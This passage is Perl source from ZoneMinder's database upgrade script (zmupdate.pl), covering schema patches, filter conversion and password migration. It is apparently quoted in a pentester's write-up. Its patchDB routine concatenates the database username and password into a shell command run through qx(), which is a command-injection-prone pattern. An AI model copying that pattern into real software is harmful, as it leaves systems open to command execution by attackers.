          my $res = $sth->execute( $loX, $loY, $hiX, $loY, $hiX, $hiY, $loX, $hiY, $area, ($zone->{MinAlarmPixels}*$area)/100, ($zone->{MaxAlarmPixels}*$area)/100, ($zone->{MinFilterPixels}*$area)/100, ($zone->{MaxFilterPixels}*$area)/100, ($zone->{MinBlobPixels}*$area)/100, ($zone->{MaxBlobPixels}*$area)/100, $zone->{Id} ) or die( "Can't execute: ".$sth->errstr() );
        }
      }
    }
# Convert run states to new format
    {
      print( "Updating run states. Please wait.\n" );

# Get the existing zones from the DB
      my $sql = "select * from States";
      my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      my @states;
      while( my $state = $sth->fetchrow_hashref() ) {
        push( @states, $state );
      }
      $sth->finish();

      foreach my $state ( @states ) {
        my @new_defns;
        foreach my $defn ( split( /,/, $state->{Definition} ) ) {
          push( @new_defns, $defn.":1" );
        }
        my $sql = 'update States set Definition = ? where Name = ?';
        my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        my $res = $sth->execute( join( ',', @new_defns ), $state->{Name} ) or die( "Can't execute: ".$sth->errstr() );
      }
    }

    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.22.0" ) {
# Patch the database
    patchDB( $dbh, "1.22.0" );

# Check for maximum FPS setting and update alarm max fps settings
    {
      print( "Updating monitors. Please wait.\n" );
      if ( defined(&ZM_NO_MAX_FPS_ON_ALARM) && &ZM_NO_MAX_FPS_ON_ALARM ) {
# Update the individual monitor settings to match the previous global one
        my $sql = "update Monitors set AlarmMaxFPS = NULL";
        my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      } else {
# Update the individual monitor settings to match the previous global one
        my $sql = "update Monitors set AlarmMaxFPS = MaxFPS";
        my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      }
    }
    {
      print( "Updating mail configuration. Please wait.\n" );
      my ( $sql, $sth, $res );
      if ( defined(&ZM_EMAIL_TEXT) && &ZM_EMAIL_TEXT ) {
        my ( $email_subject, $email_body ) = $Config{ZM_EMAIL_TEXT} =~ /subject\s*=\s*"([^\n]*)".*body\s*=\s*"(.*)"?$/ms;
        $sql = "replace into Config set Id = 0, Name = 'ZM_EMAIL_SUBJECT', Value = '".$email_subject."', Type = 'string', DefaultValue = 'ZoneMinder: Alarm - %MN%-%EI% (%ESM% - %ESA% %EFA%)', Hint = 'string', Pattern = '(?-xism:^(.+)\$)', Format = ' \$1 ', Prompt = 'The subject of the email used to send matching event details', Help = 'This option is used to define the subject of the email that is sent for any events that match the appropriate filters.', Category = 'mail', Readonly = '0', Requires = 'ZM_OPT_EMAIL=1'";
        $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
        $sql = "replace into Config set Id = 0, Name = 'ZM_EMAIL_BODY', Value = '".$email_body."', Hint = 'free text', Pattern = '(?-xism:^(.+)\$)', Format = ' \$1 ', Prompt = 'The body of the email used to send matching event details', Help = 'This option is used to define the content of the email that is sent for any events that match the appropriate filters.', Category = 'mail', Readonly = '0', Requires = 'ZM_OPT_EMAIL=1'";
        $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      }
      if ( defined(&ZM_MESSAGE_TEXT) && &ZM_MESSAGE_TEXT ) {
        my ( $message_subject, $message_body ) = $Config{ZM_MESSAGE_TEXT} =~ /subject\s*=\s*"([^\n]*)".*body\s*=\s*"(.*)"?$/ms;
        $sql = "replace into Config set Id = 0, Name = 'ZM_MESSAGE_SUBJECT', Value = '".$message_subject."', Type = 'string', DefaultValue = 'ZoneMinder: Alarm - %MN%-%EI%', Hint = 'string', Pattern = '(?-xism:^(.+)\$)', Format = ' \$1 ', Prompt = 'The subject of the message used to send matching event details', Help = 'This option is used to define the subject of the message that is sent for any events that match the appropriate filters.', Category = 'mail', Readonly = '0', Requires = 'ZM_OPT_MESSAGE=1'";
        $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
        $sql = "replace into Config set Id = 0, Name = 'ZM_MESSAGE_BODY', Value = '".$message_body."', Type = 'text', DefaultValue = 'ZM alarm detected - %ED% secs, %EF%/%EFA% frames, t%EST%/m%ESM%/a%ESA% score.', Hint = 'free text', Pattern = '(?-xism:^(.+)\$)', Format = ' \$1 ', Prompt = 'The body of the message used to send matching event details', Help = 'This option is used to define the content of the message that is sent for any events that match the appropriate filters.', Category = 'mail', Readonly = '0', Requires = 'ZM_OPT_MESSAGE=1'";
        $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      }
    }
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.22.1" ) {
# Patch the database
    patchDB( $dbh, "1.22.1" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.22.2" ) {
# Patch the database
    patchDB( $dbh, "1.22.2" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.22.3" ) {
# Patch the database
    patchDB( $dbh, "1.22.3" );

# Convert timestamp strings to new format
    {
      my $sql = "select * from Monitors";
      my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      my @db_monitors;
      while( my $db_monitor = $sth->fetchrow_hashref() ) {
        push( @db_monitors, $db_monitor );
      }
      $sth->finish();
      foreach my $db_monitor ( @db_monitors ) {
        if ( $db_monitor->{LabelFormat} =~ /\%\%s/ ) {
          $db_monitor->{LabelFormat} =~ s/\%\%s/%N/;
          $db_monitor->{LabelFormat} =~ s/\%\%s/%Q/;

          my $sql = 'update Monitors set LabelFormat = ? where Id = ?';
          my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
          my $res = $sth->execute( $db_monitor->{LabelFormat}, $db_monitor->{Id} ) or die( "Can't execute: ".$sth->errstr() );
        }
      }
    }

# Convert filters to new format
    {
      my $sql = "select * from Filters";
      my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      my @dbFilters;
      while( my $dbFilter = $sth->fetchrow_hashref() ) {
        push( @dbFilters, $dbFilter );
      }
      $sth->finish();
      foreach my $dbFilter ( @dbFilters ) {
        my %filter_terms;
        foreach my $filter_parm ( split( /&/, $dbFilter->{Query} ) ) {
          my( $key, $value ) = split( /=/, $filter_parm, 2 );
          if ( $key ) {
            $filter_terms{$key} = $value;
          }
        }
        my $filter = { 'terms' => [] };
        for ( my $i = 1; $i <= $filter_terms{trms}; $i++ ) {
          my $term = {};
          my $conjunction_name = "cnj$i";
          my $obracket_name = "obr$i";
          my $cbracket_name = "cbr$i";
          my $attr_name = "attr$i";
          my $op_name = "op$i";
          my $value_name = "val$i";

          $term->{cnj} = $filter_terms{$conjunction_name} if ( $filter_terms{$conjunction_name} );
          $term->{obr} = $filter_terms{$obracket_name} if ( $filter_terms{$obracket_name} );
          $term->{attr} = $filter_terms{$attr_name} if ( $filter_terms{$attr_name} );
          $term->{val} = $filter_terms{$value_name} if ( defined($filter_terms{$value_name}) );
          $term->{op} = $filter_terms{$op_name} if ( $filter_terms{$op_name} );
          $term->{cbr} = $filter_terms{$cbracket_name} if ( $filter_terms{$cbracket_name} );
          push( @{$filter->{terms}}, $term );
        }
        $filter->{sort_field} = $filter_terms{sort_field} if ( $filter_terms{sort_field} );
        $filter->{sort_asc} = $filter_terms{sort_asc} if ( $filter_terms{sort_asc} );
        $filter->{limit} = $filter_terms{limit} if ( $filter_terms{limit} );

        my $newQuery = 'a:'.int(keys(%$filter)).':{s:5:"terms";a:'.int(@{$filter->{terms}}).':{';
        my $i = 0;
        foreach my $term ( @{$filter->{terms}} ) {
          $newQuery .= 'i:'.$i.';a:'.int(keys(%$term)).':{';
          while ( my ( $key, $val ) = each( %$term ) ) {
            $newQuery .= 's:'.length($key).':"'.$key.'";';
            $newQuery .= 's:'.length($val).':"'.$val.'";';
          }
          $newQuery .= '}';
          $i++;
        }
        $newQuery .= '}';
        foreach my $field ( 'sort_field', 'sort_asc', 'limit' ) {
          if ( defined($filter->{$field}) ) {
            $newQuery .= 's:'.length($field).':"'.$field.'";';
            $newQuery .= 's:'.length($filter->{$field}).':"'.$filter->{$field}.'";';
          }
        }
        $newQuery .= '}';

        my $sql = 'update Filters set Query = ? where Name = ?';
        my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
        my $res = $sth->execute( $newQuery, $dbFilter->{Name} ) or die( "Can't execute: ".$sth->errstr() );
      }
    }

# Update the stream quality setting to the old image quality ones
    {
      my $dbh = zmDbConnect();

      my $sql = "update Config set Value = ? where Name = 'ZM_JPEG_STREAM_QUALITY'";
      my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      my $res = $sth->execute( $Config{ZM_JPEG_IMAGE_QUALITY} ) or die( "Can't execute: ".$sth->errstr() );
    }
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.23.0" ) {
# Patch the database
    patchDB( $dbh, "1.23.0" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.23.1" ) {
# Patch the database
    patchDB( $dbh, "1.23.1" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.23.2" ) {
# Patch the database
    patchDB( $dbh, "1.23.2" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.23.3" ) {
# Patch the database
    patchDB( $dbh, "1.23.3" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.24.0" ) {
# Patch the database
    patchDB( $dbh, "1.24.0" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.24.1" ) {
# Patch the database
    patchDB( $dbh, "1.24.1" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.24.2" ) {
# Patch the database
    patchDB( $dbh, "1.24.2" );
    $cascade = !undef;
  }
  if ( $cascade || $version eq "1.24.3" ) {
    my $result = eval {
      require PHP::Serialization;
      PHP::Serialization->import();
    };
    die( "Unable to perform upgrade from 1.24.3, PHP::Serialization module not found" ) if ( $result );

# Patch the database
    patchDB( $dbh, "1.24.3" );

# Convert filters to JSON from PHP format serialisation
    {
      print( "\nConverting filters from PHP to JSON format\n" );
      my $sql = "select * from Filters";
      my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
      my $res = $sth->execute() or die( "Can't execute: ".$sth->errstr() );
      my @dbFilters;
      while( my $dbFilter = $sth->fetchrow_hashref() ) {
        push( @dbFilters, $dbFilter );
      }
      $sth->finish();
      foreach my $dbFilter ( @dbFilters ) {
        print( "  ".$dbFilter->{Name} );
        eval {
          my $phpQuery = $dbFilter->{Query};
          my $query = PHP::Serialization::unserialize( $phpQuery );
          my $jsonQuery = jsonEncode( $query );
          my $sql = 'update Filters set Query = ? where Name = ?';
          my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
          my $res = $sth->execute( $jsonQuery, $dbFilter->{Name} ) or die( "Can't execute: ".$sth->errstr() );
        };
        if ( $@ ) {
          print( " - failed, please check or report. Query is '".$dbFilter->{Query}."'\n" );
          print( $@ );
        } else {
          print( " - complete\n" );
        }
      }
      print( "Conversion complete\n" );
    }
    $cascade = !undef;
  }
  if ( $cascade || $version eq '1.24.4' ) {
# Patch the database
    patchDB($dbh, '1.24.4');

# Copy the FTP specific values to the new general config
    my $fetchSql = "select * from Config where Name like 'ZM_UPLOAD_FTP_%'";
    my $fetchSth = $dbh->prepare_cached( $fetchSql ) or die( "Can't prepare '$fetchSql': ".$dbh->errstr() );
    my $updateSql = 'update Config set Value = ? where Name = ?';
    my $updateSth = $dbh->prepare_cached( $updateSql ) or die( "Can't prepare '$updateSql': ".$dbh->errstr() );
    my $fetchRes = $fetchSth->execute() or die( "Can't execute: ".$fetchSth->errstr() );
    while( my $config = $fetchSth->fetchrow_hashref() ) {
      ( my $name = $config->{Name} ) =~ s/_FTP_/_/;
      my $updateRes = $updateSth->execute( $config->{Value}, $name ) or die( "Can't execute: ".$updateSth->errstr() );
    }
    $cascade = !undef;
  }
  if ( $cascade || $version lt '1.26.0' ) {
    my $sth = $dbh->prepare_cached('SELECT * FROM Monitors LIMIT 0,1');
    die "Error: " . $dbh->errstr . "\n" unless ($sth);
    die "Error: " . $sth->errstr . "\n" unless ($sth->execute);

    my $columns = $sth->{NAME};
    if ( ! grep(/^Colours$/, @$columns ) ) {
      $dbh->do(q{alter table Monitors add column `Colours` tinyint(3) unsigned NOT NULL default '1' after `Height`;});
    } # end if
    if ( ! grep(/^Deinterlacing$/, @$columns ) ) {
      $dbh->do(q{alter table Monitors add column `Deinterlacing` INT unsigned NOT NULL default '0' after `Orientation`;});
    } # end if
    $sth->finish();

    $cascade = !undef;
    $version = '1.26.0';
  }

  if ( $version ge '1.26.0' ) {

    my @files;
    $updateDir = $Config{ZM_PATH_DATA}.'/db' if ! $updateDir;
    opendir( my $dh, $updateDir ) || die "Can't open updateDir $!";
#@files = sort grep { (!/^\./) && /^zm_update\-[\d\.]+\.sql$/ && -f "$updateDir/$_" } readdir($dh);
#PP - use perl version sort
    @files = sort {
      my ($x) = ($a =~ m/^zm_update\-(.*)\.sql$/);
      my ($y) = ($b =~ m/^zm_update\-(.*)\.sql$/);
      version->parse($x)  <=> version->parse($y)
    } grep { (!/^\./) && /^zm_update\-[\d\.]+\.sql$/ && -f "$updateDir/$_" } readdir($dh);
    closedir $dh;
    if ( ! @files ) {
      die "Should have found upgrade scripts at $updateDir\n";
    } # end if

    my $sql = "UPDATE `Config` SET `Value` = ? WHERE `Name` = 'ZM_DYN_DB_VERSION'";
    my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );

    foreach my $patch ( @files ) {
      my ( $v ) = $patch =~ /^zm_update\-([\d\.]+)\.sql$/;
#PP make sure we use version compare
      if ( version->parse('v'.$v) > version->parse('v'.$version) ) {
        print("Upgrading DB to $v from $version\n");
        if ( patchDB($dbh, $v) ) {
          my $res = $sth->execute($version) or die( "Can't execute: ".$sth->errstr() );
        }
        #patchDB_using_do( $dbh, $version, $updateDir.'/'.$patch );
      } # end if newer version
    } # end foreach patchfile

    $sth->finish();
    $cascade = !undef;
  } # end if

  if ( $cascade ) {
    # This is basically here so that we don't need zm-update-blah.sql files for versions without db changes
    my $sql = 'UPDATE `Config` SET `Value` = ? WHERE `Name` = ?';
    my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
    $sth->execute(ZM_VERSION, 'ZM_DYN_DB_VERSION') or die( "Can't execute: ".$sth->errstr() );
    $sth->execute(ZM_VERSION, 'ZM_DYN_CURR_VERSION') or die( "Can't execute: ".$sth->errstr() );
    $sth->finish();
  } else {
    zmDbDisconnect();
    die( "Can't find upgrade from version '$version'" );
  }
  # Re-enable the privacy popup after each upgrade
  #my $sql = "update Config set Value = 1 where Name = 'ZM_SHOW_PRIVACY'";
  #my $sth = $dbh->prepare_cached( $sql ) or die( "Can't prepare '$sql': ".$dbh->errstr() );
  #my $res = $sth->execute( ) or die( "Can't execute: ".$sth->errstr() );
  #$sth->finish();

  print("\nDatabase upgrade to version ".ZM_VERSION." successful.\n\n");
  if ( $start_zm ) {
    print("Starting ZM since we stopped it for the update\n");
    packageControl('start');
  }
} # end if version

zmDbDisconnect();
exit(0);

sub patchDB_using_do {
  my ( $dbh, $version, $file ) = @_;

  open(my $fh, '<', $file) or die "Unable to open $file $!";
  $/ = undef;
  my $sql = <$fh>;
  close $fh;
  if ( $sql ) {
    $dbh->{AutoCommit} = 0;
    $dbh->do($sql);
    if ( $dbh->errstr() ) {
      $dbh->rollback();
      die 'Error: '.$dbh->errstr().".  Rolled back.\n";		
    } # end if error

    my $sql = 'UPDATE `Config` SET `Value` = ? WHERE `Name` = \'ZM_DYN_DB_VERSION\'';
    my $sth = $dbh->prepare_cached($sql) or die "Can't prepare '$sql': ".$dbh->errstr();
    my $res = $sth->execute($version) or die 'Can\'t execute: '.$sth->errstr();
    $sth->finish();

    $dbh->{AutoCommit} = 1;
  } else {
    Warning("Empty db update file at $file");
  }
} # end sub patchDB_using_do

sub patchDB {
  my $dbh = shift;
  my $version = shift;

  my ( $host, $portOrSocket ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ ) if $Config{ZM_DB_HOST};
  my $command = 'mysql';
  if ($super) {
    $command .= ' --defaults-file=/etc/mysql/debian.cnf';
  } elsif ($dbUser) {
    $command .= ' -u'.$dbUser;
    $command .= ' -p\''.$dbPass.'\'' if $dbPass;
  }
  if ( defined($portOrSocket) ) {
    if ( $portOrSocket =~ /^\// ) {
      $command .= ' -S'.$portOrSocket;
    } else {
      $command .= ' -h'.$host.' -P'.$portOrSocket;
    }
  } elsif ( $host ) {
    $command .= ' -h'.$host;
  }
  $command .= ' '.$Config{ZM_DB_NAME}.' < ';
  if ( $updateDir ) {
    $command .= $updateDir;
  } else {
    $command .= $Config{ZM_PATH_DATA}.'/db';
  }
  $command .= '/zm_update-'.$version.'.sql';

  print("Executing '$command'\n") if logDebugging();
  ($command) = $command =~ /(.*)/; # detaint
  my $output = qx($command);
  my $status = $? >> 8;
  if ( $status || logDebugging() ) {
    chomp($output);
    print("Output: $output\n");
  }
  if ( $status ) {
    die("Command '$command' exited with status: $status\n");
  }
  print("\nDatabase successfully upgraded to version $version.\n");
} # end sub patchDB

sub migratePasswords {
  print ("Migratings passwords, if any...\n");
  my $sql = 'SELECT * FROM `Users`';
  my $sth = $dbh->prepare_cached($sql) or die( "Can't prepare '$sql': ".$dbh->errstr() );
  my $res = $sth->execute() or die("Can't execute: ".$sth->errstr());
  while( my $user = $sth->fetchrow_hashref() ) {
    my $scheme = substr($user->{Password}, 0, 1);
    if ($scheme eq '*') {
      print ('-->'.$user->{Username}." password will be migrated\n");
      my $salt = Crypt::Eksblowfish::Bcrypt::en_base64(rand_bits(16*8));
      my $settings = '$2a$10$'.$salt;
      my $pass_hash = Crypt::Eksblowfish::Bcrypt::bcrypt($user->{Password},$settings);
      my $new_pass_hash = '-ZM-'.$pass_hash;
      $sql = 'UPDATE Users SET `Password`=? WHERE `Username`=?';
      my $sth = $dbh->prepare_cached($sql) or die("Can't prepare '$sql': ".$dbh->errstr());
      my $res = $sth->execute($new_pass_hash, $user->{Username}) or die("Can't execute: ".$sth->errstr());
    }
  }
} # end sub migratePasswords

sub migratePaths {

  my $customConfigFile = '/etc/zm/conf.d/zmcustom.conf';

  if ( (! -e $customConfigFile ) && ( ZM_VERSION ge '1.31.0' ) && ($Config{ZM_DYN_DB_VERSION} lt '1.31.1') ) {

    my %customConfig;

# Check the traditional default values for the variables previsouly found under Options -> Paths
    if ( $Config{ZM_DIR_EVENTS} ne 'events' ) {
      $customConfig{ZM_DIR_EVENTS} = $Config{ZM_DIR_EVENTS};
    }
    if ( $Config{ZM_DIR_IMAGES} ne 'images' ) {
      $customConfig{ZM_DIR_IMAGES} = $Config{ZM_DIR_IMAGES};
    }
    if ( $Config{ZM_DIR_SOUNDS} ne 'sounds' ) {
      $customConfig{ZM_DIR_SOUNDS} = $Config{ZM_DIR_SOUNDS};
    }
    if ( $Config{ZM_PATH_ZMS} ne '/zm/cgi-bin/zms' ) {
      $customConfig{ZM_PATH_ZMS} = $Config{ZM_PATH_ZMS};
    }
    if ( $Config{ZM_PATH_MAP} ne '/dev/shm' ) {
      $customConfig{ZM_PATH_MAP} = $Config{ZM_PATH_MAP};
    }
    if ( $Config{ZM_PATH_SOCKS} ne '/run/zm' ) {
      $customConfig{ZM_PATH_SOCKS} = $Config{ZM_PATH_SOCKS};
    }
    if ( $Config{ZM_PATH_LOGS} ne '/var/log/zm' ) {
      $customConfig{ZM_PATH_LOGS} = $Config{ZM_PATH_LOGS};
    }
    if ( $Config{ZM_PATH_SWAP} ne '/tmp/zm' ) {
      $customConfig{ZM_PATH_SWAP} = $Config{ZM_PATH_SWAP};
    }
    if ( $Config{ZM_PATH_ARP} ne '' ) {
      $customConfig{ZM_PATH_ARP} = $Config{ZM_PATH_ARP};
    }

# If any variables differ from their expected default value,
# save them to a config file before they get purged from the database
    if ( %customConfig ) {
      print("\nMigrating custom config values from Options -> Paths\nto $customConfigFile.\n");
      print("\nPlease verify these values before starting ZoneMinder.\n\n");
      open(my $fh, '>', $customConfigFile) or die "Could open $customConfigFile for writing: $!.";
      print $fh "# These values were autogenerated by zmupdate.pl\n";
      print $fh "# You may edit these values. ZoneMinder will not overwrite them.\n";
      print $fh "#\n\n";
      while (my ($key, $value) = each %customConfig) {
        print $fh "$key=$value\n";
      }
      close $fh;
      my $gid = getgrnam('www-data');
      chown -1, $gid, $customConfigFile;
      chmod 0640, $customConfigFile;
    }
  }
}

1;
__END__
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe